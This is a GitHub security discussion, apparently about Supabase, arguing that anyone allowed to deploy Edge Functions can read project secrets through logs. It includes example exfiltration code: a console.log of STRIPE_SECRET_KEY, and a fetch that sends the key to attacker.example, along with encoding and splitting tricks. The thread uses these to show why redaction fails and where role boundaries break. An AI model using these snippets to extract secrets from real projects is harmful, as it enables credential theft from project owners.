[Security] Edge Function logs can expose secrets via console.log — propose Studio-side redaction #48795
Replies: 7 comments
|
Hey mate 💚 Thanks for your suggestion, but I'm not sure about the viability of hiding these values in logs. We're expecting that Edge Function Developers be responsible for their own code, applying the minimal security best practices like:
|
|
Hey @kallebysantos, thanks for the response! 💚 I think I didn't explain the threat model clearly enough this isn't about Real-world scenarioA client (project owner/admin) hires a freelance developer from a
This role restriction exists precisely because the client does not fully The attackThe freelancer, knowing they can't access the Secrets directly, deploys Deno.serve(async () => {
console.log(Deno.env.get('STRIPE_SECRET_KEY'))
return new Response('ok')
})They invoke the edge function once then, read the logs, and now have the secret, completely bypassing the access control the client set up to protect them. another example scenarioas shown in the following image line 22 Then in the logs it will show up like this Why "developers should be responsible" doesn't apply hereThe point of RBAC is specifically to protect against team members you can't fully trust. If every developer was fully trusted, you wouldn't need roles at all. A malicious actor won't follow best practices by definition they will intentionally exploit any gap available to them. The gap here is that deploying functions + reading logs = full secret extraction, despite the Secret Manager role restriction existing to prevent exactly that. Happy to discuss further. |
|
@adnantabda The threat model you describe in the second comment is real, and it is stronger than the first reply gives it credit for. But it also defeats the fix you proposed, and I think that is the thing worth settling before anyone writes Studio code. Redaction cannot close the malicious case, because deploying arbitrary code strictly contains writing to logs. If I can deploy a function, the log is not my only exfiltration channel — it is just the most convenient one. Studio-side matching against known secret values is defeated by any of these: // 1. never touches the log at all
await fetch('https://attacker.example/?k=' + Deno.env.get('STRIPE_SECRET_KEY'))
// 2. still in the log, no longer a substring match
console.log(btoa(Deno.env.get('STRIPE_SECRET_KEY')!))
// 3. same, one character of effort
const k = Deno.env.get('STRIPE_SECRET_KEY')!
console.log(k.slice(0, 20), k.slice(20))Case 1 is the one that matters. Redaction is a filter on one output channel, and the attacker chooses the channel. So the feature would stop exactly the case @kallebysantos said belongs to the developer — the accidental That is not an argument for doing nothing. It is an argument that this is not a logging bug. The actual finding is narrower and, I think, more useful: deploy permission is transitively read-all-secrets permission. A function runs with the project's secrets in its environment. That is the entire point of the feature. So anyone who can decide what code runs in that environment can read everything in it. "Can deploy functions but cannot read secrets" is not a boundary that can hold, no matter how the values are rendered in Studio — the values are already in the process the untrusted party controls. Which means the Developer role is, for any project whose functions hold production secrets, effectively a Secret Manager role with extra steps. That is a documentation and UI honesty question rather than a redaction question, and it is worth stating plainly, because your Upwork/Fiverr scenario is a completely normal way to staff a project and the current role names actively suggest the opposite. What does hold the boundary is separating the environments, not the render path. The partially-trusted developer should be deploying against secrets that are not the production ones — a preview branch with its own secret values, test-mode Stripe keys, with promotion to production done by someone who does hold the Secret Manager role. Then "they can read every secret in the environment they can deploy to" stays true and stops mattering, because that environment has nothing worth stealing. Two things follow that are cheap and do help:
On your question 1 — server-side redaction in edge-runtime has the same ceiling for the same reason, and it costs a comparison against every secret on every log line. On question 2, a secure values endpoint would be new plaintext-secret exposure introduced specifically to enable a control that does not stop the attack. That trade looks bad from here. |
|
@cekuu35 that's a much cleaner framing, thank you. You're right, I was trying to fix the wrong layer. Studio-side redaction The actual problem is that the Developer role description never tells the Based on what you outlined, I'd like to contribute two things:
Are PRs for both welcome? Happy to start with whichever is more useful |
|
Quick update: I also filed this via HackerOne for a security review. They did note: "We may also look at adding a note to our docs reminding So the docs contribution is validated from both sides. I'll focus |
|
Good outcome, and it is worth noting you got there by pushing back on the first reply rather than accepting it. The threat model in your second comment is what moved this. One suggestion on the docs note, because "deploying Edge Functions grants implicit access to all project secrets" is true but narrower than the thing that will surprise the next person. The general shape is: any permission that decides what code runs in a privileged context carries the permissions of that context. Edge Function deploy is one instance of it. At least one other lands identically:
So if the note names only Edge Functions, an owner who restricts the Developer role and then hands over migration access gets surprised a second time — and the docs will have been technically correct throughout. Stating the principle once and giving Edge Functions as the worked example ages better than enumerating surfaces. Wording, if it is useful as a starting point:
On the redaction PR: I would put the scope in the UI string itself, not only in the PR description. If the Logs view says "secrets redacted", the next owner reads that as a control and reasons from it. Something like "known secret values are hidden from this view" is accurate and does not imply containment. The PR description is read once; the label is read forever. And the separation-of-environments point stands as the actual fix for your Upwork/Fiverr scenario, independent of both contributions: a partially-trusted developer deploying against a preview branch with its own test secrets makes "they can read every secret in the environment they can deploy to" stay true and stop mattering. That is the only version where the owner's mental model and reality line up without anyone having to read a warning. |
|
This is a great outcome — the docs contribution is exactly the right place to land it. The fix here isn't really technical, it's the mental model: the Developer role reads "can't change settings or delete projects," so an owner inviting a freelancer reasonably assumes their secrets are safe — and nothing in the UI corrects that. One honest sentence ("deploying Edge Functions grants access to every project secret at runtime") closes the gap for every owner who reads it before sending an invite. If it's useful, the docs note could pair with a one-line operational tip: treat the |


Uh oh!
There was an error while loading. Please reload this page.
Problem
Supabase secrets (set via the dashboard or CLI) are meant to be protected by
role-based access. However, there's a bypass: anyone who can deploy an Edge
Function can do:
A team member with "Log Viewer" role (but NOT "Secret Manager" role) can then
see the plaintext secret in the Studio Logs tab — bypassing the intended
access control entirely.
Proposed Fix (Studio-side)
When rendering Edge Function logs, compare event_message against the known
secret values for the project (already available via GET /v1/projects/{ref}/secrets)
and replace any matches with [REDACTED]. Apply this in:
Questions for the team
separate secure endpoint just for redaction matching?
Happy to implement the Studio side once we align on the approach.
All reactions